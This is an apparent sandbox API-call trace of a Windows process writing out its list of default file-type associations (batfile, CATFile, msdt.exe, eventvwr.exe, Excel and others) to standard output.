	[0058.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="batfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="batfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0058.231] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.232] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.232] GetFileType (hFile=0x5c) returned 0x3
	[0058.232] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", lpUsedDefaultChar=0x0) returned 126
	[0058.232] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7d, lpOverlapped=0x0) returned 1
	[0058.232] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.232] GetFileType (hFile=0x5c) returned 0x3
	[0058.232] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 46
	[0058.232] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x2d, lpOverlapped=0x0) returned 1
	[0058.232] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.232] GetFileType (hFile=0x5c) returned 0x3
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 52
	[0058.233] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x33, lpOverlapped=0x0) returned 1
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] GetFileType (hFile=0x5c) returned 0x3
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71
	[0058.233] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x46, lpOverlapped=0x0) returned 1
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] GetFileType (hFile=0x5c) returned 0x3
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.233] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] GetFileType (hFile=0x5c) returned 0x3
	[0058.233] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.234] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] GetFileType (hFile=0x5c) returned 0x3
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", lpUsedDefaultChar=0x0) returned 90
	[0058.234] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x59, lpOverlapped=0x0) returned 1
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] GetFileType (hFile=0x5c) returned 0x3
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.234] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] GetFileType (hFile=0x5c) returned 0x3
	[0058.234] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 36
	[0058.234] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x23, lpOverlapped=0x0) returned 1
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] GetFileType (hFile=0x5c) returned 0x3
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.235] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] GetFileType (hFile=0x5c) returned 0x3
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="cmdfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0058.235] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] GetFileType (hFile=0x5c) returned 0x3
	[0058.235] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="comfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0058.235] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] GetFileType (hFile=0x5c) returned 0x3
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59
	[0058.236] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3a, lpOverlapped=0x0) returned 1
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] GetFileType (hFile=0x5c) returned 0x3
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0058.236] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x44, lpOverlapped=0x0) returned 1
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] GetFileType (hFile=0x5c) returned 0x3
	[0058.236] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0058.236] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4b, lpOverlapped=0x0) returned 1
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] GetFileType (hFile=0x5c) returned 0x3
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.237] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] GetFileType (hFile=0x5c) returned 0x3
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62
	[0058.237] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3d, lpOverlapped=0x0) returned 1
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] GetFileType (hFile=0x5c) returned 0x3
	[0058.237] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62
	[0058.237] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3d, lpOverlapped=0x0) returned 1
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] GetFileType (hFile=0x5c) returned 0x3
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64
	[0058.238] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3f, lpOverlapped=0x0) returned 1
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] GetFileType (hFile=0x5c) returned 0x3
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 74
	[0058.238] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x49, lpOverlapped=0x0) returned 1
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] GetFileType (hFile=0x5c) returned 0x3
	[0058.238] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0058.238] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4b, lpOverlapped=0x0) returned 1
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] GetFileType (hFile=0x5c) returned 0x3
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Resmon.Config=%SystemRoot%\\system32\\perfmon /res /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0058.239] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x48, lpOverlapped=0x0) returned 1
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] GetFileType (hFile=0x5c) returned 0x3
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docxfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0058.239] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x43, lpOverlapped=0x0) returned 1
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] GetFileType (hFile=0x5c) returned 0x3
	[0058.239] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0058.239] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x48, lpOverlapped=0x0) returned 1
	[0058.240] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.240] GetFileType (hFile=0x5c) returned 0x3
	[0058.240] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="emffile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51
	[0058.240] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x32, lpOverlapped=0x0) returned 1
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] GetFileType (hFile=0x5c) returned 0x3
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0058.241] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x34, lpOverlapped=0x0) returned 1
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] GetFileType (hFile=0x5c) returned 0x3
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="evtxfile=%SystemRoot%\\system32\\eventvwr.exe /l:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 54
	[0058.241] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x35, lpOverlapped=0x0) returned 1
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] GetFileType (hFile=0x5c) returned 0x3
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Addin=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 79
	[0058.241] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4e, lpOverlapped=0x0) returned 1
	[0058.241] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.241] GetFileType (hFile=0x5c) returned 0x3
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.AddInMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 91
	[0058.242] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5a, lpOverlapped=0x0) returned 1
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] GetFileType (hFile=0x5c) returned 0x3
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
